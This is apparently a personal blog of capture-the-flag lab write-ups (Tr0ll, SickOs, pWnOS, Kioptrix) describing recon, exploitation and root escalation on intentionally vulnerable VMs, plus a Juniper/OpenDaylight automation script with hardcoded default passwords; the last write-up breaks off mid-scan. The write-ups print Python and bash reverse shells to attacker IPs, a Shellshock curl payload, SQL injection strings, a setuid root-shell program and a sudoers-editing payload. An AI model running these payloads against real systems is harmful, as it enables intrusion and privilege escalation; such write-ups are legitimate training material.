Mario Alberto Ibarra

Tr0ll

2017-12-14T00:00:00+00:00

Tr0ll Writeup

Recon & Enumeration

An NMAP scan revealed 3 ports open on the target.

kali enum/10.10.10.33 » cat nmap_heavy.txt                                                                                                                          
###################################################                                                                                                                           
                                                                                                                                                                              
nmap -T4 -Pn -A -sV --top-ports 10000 10.10.10.33                                                                                                                             
                                                                                                                                                                              
--------------------------------------------------- 
Starting Nmap 7.60 ( https://nmap.org ) at 2017-12-14 14:16 PST
Nmap scan report for 10.10.10.33                                 
Host is up (0.00049s latency).                                   
Not shown: 8293 closed ports                                   
PORT   STATE SERVICE VERSION                              
21/tcp open  ftp     vsftpd 3.0.2         
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rwxrwxrwx    1 1000     0            8068 Aug 09  2014 lol.pcap [NSE: writeable]
| ftp-syst:                                                      
|   STAT:                                           
| FTP server status:                                
|      Connected to 10.10.10.32                                        
|      Logged in as ftp                                             
|      TYPE: ASCII                              
|      No session bandwidth limit                       
|      Session timeout in seconds is 600                                                
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.2 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 d6:18:d9:ef:75:d3:1c:29:be:14:b5:2b:18:54:a9:c0 (DSA)
|   2048 ee:8c:64:87:44:39:53:8c:24:fe:9d:39:a9:ad:ea:db (RSA)
|   256 0e:66:e6:50:cf:56:3b:9c:67:8b:5f:56:ca:ae:6b:f4 (ECDSA)
|_  256 b2:8b:e2:46:5c:ef:fd:dc:72:f7:10:7e:04:5f:25:85 (EdDSA)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/secret
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 00:0C:29:A8:DE:48 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.8
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.49 ms 10.10.10.33

I first looked into FTP. Anonymous login was allowed, but there was only one file that I could download.

kali enum/10.10.10.33 ‹master*› » ftp 10.10.10.33 21
Connected to 10.10.10.33.
220 (vsFTPd 3.0.2)
Name (10.10.10.33:mario): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -al
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 0        112          4096 Aug 09  2014 .
drwxr-xr-x    2 0        112          4096 Aug 09  2014 ..
-rwxrwxrwx    1 1000     0            8068 Aug 09  2014 lol.pcap
226 Directory send OK.

After enumerating the pcap file on wireshark, I found a request that called a file “secret_stuff.txt” through FTP. It also showed the contents of the file:

Well, well, well, aren't you just a clever little devil, you almost found the sup3rs3cr3tdirlol :
Sucks, you were so close... gotta TRY HARDER!

I moved on to enumerate port 80 after that. The index page was just a troll picture and so was the “/secret” directory that was enumerated from the robots.txt file.

After being stuck for a bit, I decided to try the directory “sup3rs3cr3tdirlol”

It actually worked… I knew this was going to be a hectic VM after that.

I downloaded the file “roflmao” and viewed its contents:

kali ~/Downloads » strings roflmao                                                          
/lib/ld-linux.so.2                                  
libc.so.6                                             
_IO_stdin_used                                                      
printf                                                 
__libc_start_main                                                         
__gmon_start__                                              
GLIBC_2.0                                                 
PTRh                                                      
[^_]                                                           
Find address 0x0856BF to proceed                                                           
;*2$"                             
GCC: (Ubuntu 4.8.2-19ubuntu1) 4.8.2

The Find address 0x0856BF to proceed looked interesting.. I tried the directory under 10.10.10.33/secret/ but that didn’t work. I then tried it under 10.10.10.33/ and it worked.

Both folders contained files that appeared to contain a list of usernames and one password.

Exploitation

I tried to connect via SSH with those usernames and password, but no luck. I tried the password as the username and usernames as password, but still no luck.

After some thinking, I thought maybe the folder this_folder_contains_the_password/ literally meant the filename was the actual password.

I tried the usernames with the password “Pass.txt” and eventually, the username overflow worked.

kali enum/10.10.10.33 ‹master*› » ssh 10.10.10.33 -l overflow                                                                                                           
overflow@10.10.10.33's password:                                                                                                                                              
Welcome to Ubuntu 14.04.1 LTS (GNU/Linux 3.13.0-32-generic i686)  

                                                                                                            
* Documentation:  https://help.ubuntu.com/                          
New release '16.04.3 LTS' available.                                        
Run 'do-release-upgrade' to upgrade to it.                                                                                                                                    

The programs included with the Ubuntu system are free software;      
the exact distribution terms for each program are described in the                                             
individual files in /usr/share/doc/*/copyright.                                                                                                                        

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.                                                                                                                                                               
			                                                                                                                                                                              
			                                                                                                                                                                              
The programs included with the Ubuntu system are free software;                                           
the exact distribution terms for each program are described in the                                             
individual files in /usr/share/doc/*/copyright.                                                                                                                               
			                                                                                                                                                                              
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by                                      
applicable law.                                                                                                                                                               
			
Last login: Thu Dec 14 17:34:12 2017 from 10.10.10.32
Could not chdir to home directory /home/overflow: No such file or directory
$ whoami
overflow

Post-Exploitation

After downloading and running enumeration scripts, I narrowed down possible vectors.


[+] World Writable Files
    -rwxrwxrwx 1 troll root 8068 Aug 10  2014 /srv/ftp/lol.pcap 
    -rwxrwxrwx 1 root root 34 Aug 13  2014 /var/tmp/cleaner.py.swp
    -rwxrwxrwx 1 root root 7296 Aug 11  2014 /var/www/html/sup3rs3cr3tdirlol/roflmao
    -rwxrwxrwx 1 root root 23 Aug 13  2014 /var/log/cronlog
    --w--w--w- 1 root root 0 Dec 14 17:42 /sys/fs/cgroup/systemd/user/1002.user/3.session/cgroup.event_control
    --w--w--w- 1 root root 0 Dec 14 17:42 /sys/fs/cgroup/systemd/user/1002.user/cgroup.event_control
    --w--w--w- 1 root root 0 Dec 14 17:34 /sys/fs/cgroup/systemd/user/cgroup.event_control    
    --w--w--w- 1 root root 0 Dec 14 14:12 /sys/fs/cgroup/systemd/cgroup.event_control              
    -rw-rw-rw- 1 root root 0 Dec 14 14:12 /sys/kernel/security/apparmor/.access
    -rwxrwxrwx 1 root root 96 Aug 13  2014 /lib/log/cleaner.py

The cleaner.py file stood out the most. It contained this:

#!/usr/bin/env python
import os
import sys
try:
        os.system('rm -r /tmp/* ')
except:
        sys.exit()

In order to exploit this, I created an suid.c file in /tmp:

int main(void){
setresuid(0, 0, 0);
system("/bin/bash");
}

I then compiled the file:

gcc -o suid suid.c

Then I edited the cleaner.py file.

Running the python and then the suid file would result in a root shell.

SickOs 1.2

2017-11-21T00:00:00+00:00

SickOs 1.2 Writeup

Recon & Enumeration

An NMAP scan revealed 2 ports open on the target.

mario@kali:~/oscp/exam/10.10.10.12$ cat 10.10.10.12.nmap 
# Nmap 7.60 scan initiated Mon Nov  6 01:57:20 2017 as: nmap -sV -O -oN /home/mario/oscp/exam/10.10.10.12/10.10.10.12.nmap 10.10.10.12
Nmap scan report for 10.10.10.12
Host is up (0.00042s latency).
Not shown: 998 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.8 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    lighttpd 1.4.28
MAC Address: 00:0C:29:8A:41:77 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.8, Linux 3.16 - 4.6, Linux 3.2 - 4.8, Linux 4.4
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Nov  6 01:57:47 2017 -- 1 IP address (1 host up) scanned in 28.00 seconds

After enumerating the http service lighttpd, a /test/ directory was found.

I checked if the PUT option was enabled on the directory with curl.

Exploitation

PUT was in fact enabled, so I put a web shell on the directory that can execute linux commands.

By accessing the web shell, I could execute commands directly on the target.

Using the same web shell, I sent this python reverse shell to my machine:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.22",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

I received the reverse shell with netcat.

Post-Exploitation

I escaped the restricted shell by spawning a tty shell using python:

python -c 'import pty; pty.spawn("/bin/bash")'

After running my enumeration scripts and searching for possible privilege escalation vectors, I couldn’t find any that stood out.

I then checked the crontab for any applications that I could search on searchsploit. Under /etc/cron.daily, chkrootkit was listed.

I checked the version of chkrootkit, 0.49, and found an exploit on searchsploit:

dpkg -l | grep chkrootkit

Under the /tmp directory, I created a file called “update” with commands to add the user www-data to the sudoers file, and I made it an executable file:

echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update

chmod +x update

The exploit would run the command in the /tmp/update file whenever the cronjob occurred.

Since the cronjob for chkrootkit was run daily, I forced it to run instead of waiting:

run-parts --report /etc/cron.daily

After the cronjob ran, I had root access by running “sudo su” without a password needed.

SickOs 1.1

2017-11-04T00:00:00+00:00

SickOs 1.1 Writeup

Recon

A quick nmap scan revealed tcp ports 22 and 3128 open.

Port 3128 is a squid HTTP proxy so I ran a nitko scan on it and adjusted my Firefox proxy settings to access the site.

According to the scan the site looks like its vulnerable to shellshock. I checked the /cgi-bin/status directory to make sure its available.

Exploitation Method 1

I exploited the shellshock vulnerability with curl

curl -x http://10.10.10.11:3128 -H "User-Agent: () { ignored;}; /bin/bash -i >& /dev/tcp/10.10.10.10/1337 0>&1" http://10.10.10.11/cgi-bin/status

I had a netcat listener open to receive the shell.

Exploitation Method 2

I located an wolfcms admin console and was able to login with the default credentials admin:admin.

I was able to upload a php reverse shell on the web app file manager and I used a metasploit handler to receive the shell.

Privilege Escalation

I went with the 1st exploitation method since it was easier than the second. With that method, I had a limited shell, so I spawned a TTY shell using python.

python -c 'import pty; pty.spawn("/bin/sh")'

After looking at the cronjobs in the system, there was one that caught my eye.

This cronjob runs the connect.py script that is in */var/www every minute. Luckily, I had read/write permissions for connect.py since the user owns the file.

I edited connect.py to include a reverse shell.

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

With a NC listener open to the port I specified, a root shell opened within a minute after editing the connect.py script.

pWnOS v2.0

2017-11-01T00:00:00+00:00

pWnOS v2.0 Writeup

Unlike most Vulnhub VMs, this one had a static IP of 10.10.10.100, so no need do a ping sweep to find its IP.

Recon/Enumeration

The nmap scan returned only port 22 and 80 open. I always like to start with port 80 during these assessments.

Port 80

For webpages, I like to run nikto and dirb scans to locate any interesting directories and possible vulnerabilities. The nikto scan didn’t return anything interesting so I moved on to dirb.

The dirb scan returned some interesting directories. The one that stood out to me was /blog. After inspecting the directory, I found this:

Within one of the files, I was able to find the web app name and version: Simple PHP Blog 0.3.8. With this information I searched searchsploit for any known exploits. I found one that wiped the password file for the web app and created a new user.

Exploitation

I created a new user under the web app blog and I tried to upload a php reverse shell under images.

The upload was a success! So I opened up a handler on metasploit.

I gained access to a php shell, so now I need to escalate my privileges.

Privilege Escalation

I upgraded to a TTY shell using:

python -c 'import pty; pty.spawn("/bin/sh")'

I nomrally use this enumeration script to speed up the process. I found an interesting file within the home directory called mysqli_connect.php.

Unfortunately, this file didnt help, but I backtracked to /var/ and found another copy with different credentials.

Using those credentials, I was able to login to mysql and enumerate the databases and tables.

I was stuck for a bit trying to use an exploit on mysql, so I took a step back and tried something simple. I took the original mysql login and I tried to login to the root user on the machine.

The credentials actually worked… DON’T forget to try the simple solutions…

Kioptrix Lvl 3 Writeup

2017-09-07T00:00:00+00:00

Kioptrix Lvl 3

I begin with the usual netdiscover and nmap scan.

mario@kali:~# netdiscover -r 192.168.8.0/24


 Currently scanning: Finished!   |   Screen View: Unique Hosts                 
                                                                               
 5 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 300               
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.8.1   00:50:56:c0:00:01      2     120  Unknown vendor              
 192.168.8.134 00:0c:29:69:72:b0      2     120  Unknown vendor             
 192.168.8.254 00:50:56:e8:60:ea      1      60  Unknown vendor

mario@kali:~/oscp/exam/192.168.8.134$ cat 192.168.8.134.nmap 
# Nmap 7.50 scan initiated Fri Jul 21 13:53:49 2017 as: nmap -sV -O -oN /home/mario/oscp/exam/192.168.8.134/192.168.8.134.nmap 192.168.8.134
Nmap scan report for 192.168.8.134
Host is up (0.00028s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
80/tcp open  http    Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
MAC Address: 00:0C:29:DE:2A:63 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jul 21 13:53:59 2017 -- 1 IP address (1 host up) scanned in 10.41 seconds

Port 80 is open so I did a nikto scan.

mario@kali:~/oscp/exam/192.168.8.134$ cat nikto-http-192.168.8.134.txt 
- Nikto v2.1.6/2.1.5
+ Target Host: 192.168.8.134
+ Target Port: 80
+ GET Retrieved x-powered-by header: PHP/5.2.4-2ubuntu5.6
+ GET The anti-clickjacking X-Frame-Options header is not present.
+ GET The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ GET The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ GET Cookie PHPSESSID created without the httponly flag
+ GET Server leaks inodes via ETags, header found with file /favicon.ico, inode: 631780, size: 23126, mtime: Fri Jun  5 12:22:00 2009
+ JDLAFBBZ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-877: TRACE HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ OSVDB-12184: GET /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: GET /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: GET /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: GET /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-3092: GET /phpmyadmin/changelog.php: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ OSVDB-3268: GET /icons/: Directory indexing found.
+ OSVDB-3233: GET /icons/README: Apache default file found.
+ GET /phpmyadmin/: phpMyAdmin directory found
+ OSVDB-3092: GET /phpmyadmin/Documentation.html: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.

I checked out http://192.168.8.134/phpmyadmin and found a login page.

I was able to login using the username “admin’ OR ‘1’=’1”. I searched for vulnerabilities on the phpmyadmin page, but nothing stood out so I took a break from that and tried something else.

After looking at the blogs on the website, a link was mentioned with a “/gallery” directory.

I checked it out and saw that it was a webapp called “gallarific” so I searched for it on searchsploit.

Reading it gave a hint that the webapp was vulnerable to SQL injection, and it even gave an example.

Using the example from the exploit, I executed it with the hackbar plugin. It worked and resulted in admin credentials. The account looks like it belonged to the webapp itself so I kept trying other injections.

I modified the SQL query to read the /etc/passwd file and noticed there were two accounts named “loneferret” and “dreg” on the system.

Next I enumerated the tables in mysql.

There was a table called “dev_accounts” so I modified the injection again to read the entries in that table.

Two accounts, “loneferret” and “dreg”, were listed along with their password hashes. The hashes looked like MD5 hashes, but just to be sure I ran them through hash-identifier.

They were confirmed to be MD5 hashes. I ran the hash for “loneferret” on findmyhash.

It cracked the hash and the password was “starwars”.

Using those credentials, I SSHed into the box since port 22 was open.

I used a script to check for possible vulnerabilities and relevant information. I attempted a kernel exploit on the box, but it did not work. I then moved on to check what sudo privileges the user had.

The user had sudo privileges for xterm so I tried to run it as sudo, but received an error. This error was fixed by exporting the system TERM.

Since I can use xterm with sudo privileges, I tried editing the /etc/sudoers file to add extra privileges.

The following screen showed. In order to edit the file, I had to ALT + F, select Open, and select /etc/sudoers.

On the sudoers file I located the user loneferret and added the permission /bin/sh to the file. This will allow me to run the executable system shell with sudo privileges. I saved with Alt + F and exited.

I ran sudo /bin/sh and confirmed that I had a root shell.

Kioptrix Lvl 2 Writeup

2017-08-29T00:00:00+00:00

Kioptrix Level 2

I begin with the usual netdiscover and nmap scan of the target.

mario@kali:~# netdiscover -r 192.168.8.0/24


 Currently scanning: Finished!   |   Screen View: Unique Hosts                 
                                                                               
 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240               
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.75.1    00:50:56:c0:00:08      1      60  Unknown vendor              
 192.168.75.2    00:50:56:f2:c5:e6      1      60  Unknown vendor              
 192.168.75.129  00:0c:29:4e:f5:c2      1      60  Unknown vendor              
 192.168.75.254  00:50:56:fb:35:c9      1      60  Unknown vendor

mario@kali:~/oscp/exam/192.168.75.129$ cat 192.168.75.129.nmap 
# Nmap 7.50 scan initiated Wed Jul 12 01:14:25 2017 as: nmap -sV -O -oN /home/mario/oscp/exam/192.168.75.129/192.168.75.129.nmap 192.168.75.129
Nmap scan report for 192.168.75.129
Host is up (0.00023s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 3.9p1 (protocol 1.99)
80/tcp   open  http     Apache httpd 2.0.52 ((CentOS))
111/tcp  open  rpcbind  2 (RPC #100000)
443/tcp  open  ssl/http Apache httpd 2.0.52 ((CentOS))
631/tcp  open  ipp      CUPS 1.1
3306/tcp open  mysql    MySQL (unauthorized)
MAC Address: 00:0C:29:4E:F5:C2 (VMware)
Device type: general purpose|media device
Running: Linux 2.6.X, Star Track embedded
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:2.6.23 cpe:/h:star_track:srt2014hd
OS details: Linux 2.6.9 - 2.6.30, Star Track SRT2014HD satellite receiver (Linux 2.6.23)
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jul 12 01:14:43 2017 -- 1 IP address (1 host up) scanned in 18.45 seconds

Port 80 looks like an easy target and it could possibly have a mysql database on the web service.

Probing a SQL injection, I used the username “admin” and the password “’ OR ‘1’=’1”. The injection worked and I gained access to an admin web console.

This console looks like it’s vulnerable to command injection…

I leave a netcat listener on port 8080 open while I attempt to open a bash shell using: “ping 192.168.75.129; bash -i >& /dev/tcp/192.168.75.135/8080 0>&1” on the admin console.

mario@kali:~$ nc -lvp 8080
listening on [any] 8080 ...
192.168.75.129: inverse host lookup failed: Unknown host
connect to [192.168.75.135] from (UNKNOWN) [192.168.75.129] 32770
bash: no job control in this shell
bash-3.00$ whoami
apache
bash-3.00$ uname -a
Linux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686 i686 i386 GNU/Linux
bash-3.00$ lsb_release -a
LSB Version:	:core-3.0-ia32:core-3.0-noarch:graphics-3.0-ia32:graphics-3.0-noarch
Distributor ID:	CentOS
Description:	CentOS release 4.5 (Final)
Release:	4.5
Codename:	Final
bash-3.00$

A bash shell with apache privileges opened so I searched for ways to escalate privileges.

I setup a python http server on my machine and I downloaded a Linux enumeration script on the target machine in the /var/tmp directory since its writeable.

mario@kali:~/oscp/exam/192.168.75.129/privesc$ python -m SimpleHTTPServer 8081
Serving HTTP on 0.0.0.0 port 8081 ...


bash-3.00$ wget http://192.168.75.135:8081/LinEnum.sh 
--02:03:18--  http://192.168.75.135:8081/LinEnum.sh
           => `LinEnum.sh'
Connecting to 192.168.75.135:8081... connected.
HTTP request sent, awaiting response... 200 OK
Length: 43,283 (42K) [text/x-sh]

    0K .......... .......... .......... .......... ..        100%    2.87 MB/s

02:03:18 (2.87 MB/s) - `LinEnum.sh' saved [43283/43283]
bash-3.00$ chmod 700 LinEnum.sh
bash-3.00$ wget http://192.168.75.135:8081/linprivchecker.py
--02:12:10--  http://192.168.75.135:8081/linprivchecker.py
           => `linprivchecker.py'
Connecting to 192.168.75.135:8081... searonnected.
HTTP request sent, awaiting response... 200 OK
Length: 25,308 (25K) [text/plain]

    0K .......... .......... ....                            100%    1.03 MB/s

02:12:10 (1.03 MB/s) - `linprivchecker.py' saved [25308/25308]

bash-3.00$ chmod 700 linprivchecker.py
bash-3.00$ python linprivchecker.py

No luck after searching for exploits so I went to my last resort and searched for kernel exploits. I found one matching “Linux 2.6 centos 4.5” so I tested it.

mario@kali:~/oscp/exam/192.168.75.129/privesc$ searchsploit -m 9542
Exploit: Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 x86) - 'ip_append_data()' Ring0 Privilege Escalation (1)
    URL: https://www.exploit-db.com/exploits/9542/
   Path: /usr/share/exploitdb/platforms/lin_x86/local/9542.c

Copied to '/home/mario/oscp/exam/192.168.75.129/privesc/'

It wasn’t too bad getting root, but I did spend alot of time trying to use other exploits that weren’t on the kernel.

SDN Lab

2017-06-20T00:00:00+00:00

SDN Lab

This is a lab that was completed at my university last Spring of 2017. It consisted of a Juniper EX4200 switch with 2 VLANs, a Zodiac FX OpenFlow switch, and an ESXi VM running Untangle and OpenDaylight. The goal of the lab was to automatically apply port security to the Juniper switch after receiving information from the OpenDaylight SDN controller.

This was accomplished with the following python script:

import requests
import yaml
from jnpr.junos import Device
from jnpr.junos.utils.config import Config
from jnpr.junos.factory.factory_loader import FactoryLoader

#OpenDayLight RESTCONF API settings.
odl_ip = "192.168.140.253"
username = "admin"
password = "admin"
odl_url = 'http://' + odl_ip + ':8181/restconf/operational/network-topology:network-topology'
odl_username = username
odl_password = password

# Fetch information from API.
response = requests.get(odl_url, auth=(odl_username, odl_password))

# Find information about nodes in retrieved JSON file.
odl_macs = []
for nodes in response.json()['network-topology']['topology']:

        # Walk through all node information.
        node_info = nodes['node']

    # Look for MAC and IP addresses in node information.
    for node in node_info:
        try:
            ip_address = node['host-tracker-service:addresses'][0]['ip']
            mac_address = node['host-tracker-service:addresses'][0]['mac']
            odl_parse = 'Found host with MAC address %s and IP address %s' % (mac_address, ip_address)
            odl_macs.append(mac_address)
            print odl_parse
        except:
            pass

# Part 2 ---------------------------------------------------------------------------------------------------

# Yaml organization for EthernetSwitchingTable Entries.
yaml_data = '''
---
EtherSwTable:
  rpc: get-interface-ethernet-switching-table
  item: ethernet-switching-table/mac-table-entry[mac-type='Learn']
  key: mac-address
  view: EtherSwView

EtherSwView:
  fields:
    vlan_name: mac-vlan
    mac: mac-address
    mac_type: mac-type
    mac_age: mac-age
    interface: mac-interfaces-list/mac-interfaces
'''
# Login to switch
host = "192.168.140.240"
switch_user = "root"
switch_password = "admin12345"
dev = Device(host='%s' % (host),user='%s' % (switch_user),password='%s' %(switch_password))
dev.open()

# Retrieve EthernetSwitchingTable info
globals().update(FactoryLoader().load(yaml.load(yaml_data)))
table = EtherSwTable(dev)
table.get()

# Organize EthernetSwitchingTable entries
mac_table = []
for i in table:
    print 'vlan_name:', i.vlan_name
    print 'mac:', i.mac
    print 'mac_type:', i.mac_type
    print 'mac_age:', i.mac_age
    print 'interface:', i.interface
    print
    mac_table.append(i.interface+'|'+i.mac)

# Compare MACs from ODL and EthernetSwitchingTable Table
mac_set = [i for e in odl_macs for i in mac_table if e in i]

# Automate the port security for each entry in final list.
print mac_set
config_add =[]
for i in mac_set:
    mac = [i.split('|', 1)[1]]
    new_mac = mac.pop()
    interface = [i.split('|', 1)[0]]
    interface = [i[:-2] for i in interface]
    new_interface = interface.pop()
    config_add.append('set interface %s allowed-mac %s' % (new_interface, new_mac))
set_add = '\n'.join(map(str,config_add))
print set_add
config_script = """
edit ethernet-switching-options secure-access-port
%s
""" % (set_add)
# Load and Commit the configuration to the switch
cu = Config(dev)
cu.load(config_script, format="set", merge=True)
print 'These are the changes:\n ' + cu.diff()
cu.commit()
print "Configuration Successful! Goodbye."
dev.close()

The script first logs into the OpenDaylight controller and receives information about the network topology, like the MACs and IPs for the connected devices. Then it logs into the Juniper switch, gathers the MACs from the EthernetSwitchingTable and compares them to the MACs from OpenDaylight. Any matching MACs will have port security applied to their corresponding port on the Juniper Switch.

Kioptrix Lvl 1 Writeup

2017-05-04T00:00:00+00:00

Kioptrix

First let’s begin with information gathering. We need to find which IP the kioptrix box has. I’m using a host only network with an IP of 192.168.8.0/24.

root@kali:~# netdiscover -r 192.168.8.0/24


 Currently scanning: Finished!   |   Screen View: Unique Hosts                 
                                                                               
 5 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 300               
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.8.1   00:50:56:c0:00:01      2     120  Unknown vendor              
 192.168.8.140 00:0c:29:69:72:b0      2     120  Unknown vendor              
 192.168.8.254 00:50:56:e8:60:ea      1      60  Unknown vendor

The IP for the Kioptrix machine is 192.168.8.140. I’m using the tools reconnoitre and reconscan.py to automate nmap scans, nitko, dirb, and enum4linux.

root@kali:~#./reconnoitre.py -t 192.168.8.140 -o /root/Vulnhub --services

# Nmap 7.40 scan initiated Thu Jun 29 02:34:23 2017 as: nmap -vv -Pn -sS -A -sC -p- -T 3 -script-args=unsafe=1 -n -oN /root/Vulnhub/192.168.8.140/scans/192.168.8.140.nmap -oX /root/Vulnhub/192.168.8.140/scans/192.168.8.140_nmap_scan_import.xml 192.168.8.140
Nmap scan report for 192.168.8.140
Host is up, received arp-response (0.00025s latency).
Scanned at 2017-06-29 02:34:23 PDT for 107s
Not shown: 65529 closed ports
Reason: 65529 resets
PORT     STATE SERVICE     REASON         VERSION
22/tcp   open  ssh         syn-ack ttl 64 OpenSSH 2.9p2 (protocol 1.99)
| ssh-hostkey: 
|   1024 b8:74:6c:db:fd:8b:e6:66:e9:2a:2b:df:5e:6f:64:86 (RSA1)
| 1024 35 109482092953601530927446985143812377560925655194254170270380314520841776849335628258408994190413716152105684423280369467219093526740118507720167655934779634416983599247086840099503203800281526143567271862466057363705861760702664279290804439502645034586412570490614431533437479630834594344497670338190191879537
|   1024 8f:8e:5b:81:ed:21:ab:c1:80:e1:57:a3:3c:85:c4:71 (DSA)
| ssh-dss AAAAB3NzaC1kc3MAAACBAKtycvxuV/e7s2cN74HyTZXHXiBrwyiZe/PKT/inuT5NDSQTPsGiyJZU4gefPAsYKSw5wLe28TDlZWHAdXpNdwyn4QrFQBjwFR+8WbFiAZBoWlSfQPR2RQW8i32Y2P2V79p4mu742HtWBz0hTjkd9qL5j8KCUPDfY9hzDuViWy7PAAAAFQCY9bvq+5rs1OpY5/DGsGx0k6CqGwAAAIBVpBtIHbhvoQdN0WPe8d6OzTTFvdNRa8pWKzV1Hpw+e3qsC4LYHAy1NoeaqK8uJP9203MEkxrd2OoBJKn/8EXlKAco7vC1dr/QWae+NEkI1a38x0Ml545vHAGFaVUWkffHekjhR476Uq4N4qeLfFp5B+v+9flLxYVYsY/ymJKpNgAAAIEApyjrqjgX0AE4fSBFntGFWM3j5M3lc5jw/0qufXlHJu8sZG0FRf9wTI6HlJHHsIKHA7FZ33vGLq3TRmvZucJZ0l55fV2ASS9uvQRE+c8P6w72YCzgJN7v4hYXxnY4RiWvINjW/F6ApQEUJc742i6Fn54FEYAIy5goatGFMwpVq3Q=
|   1024 ed:4e:a9:4a:06:14:ff:15:14:ce:da:3a:80:db:e2:81 (RSA)
|_ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAvv8UUWsrO7+VCG/rTWY72jElft4WXfXGWybh141E8XnWxMCu+R1qdocxhh+4Clz8wO9beuZzG1rjlAD+XHiR3j2P+sw6UODeyBkuP24a+7V8P5nu9ksKD1fA83RyelgSgRJNQgPfFU3gngNno1yN6ossqkcMQTI1CY5nF6iYePs=
|_sshv1: Server supports SSHv1
80/tcp   open  http        syn-ack ttl 64 Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
| http-methods: 
|   Supported Methods: GET HEAD OPTIONS TRACE
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-title: Test Page for the Apache Web Server on Red Hat Linux
111/tcp  open  rpcbind     syn-ack ttl 64 2 (RPC #100000)
| rpcinfo: 
|   program version   port/proto  service
|   100000  2            111/tcp  rpcbind
|   100000  2            111/udp  rpcbind
|   100024  1           1024/tcp  status
|_  100024  1           1024/udp  status
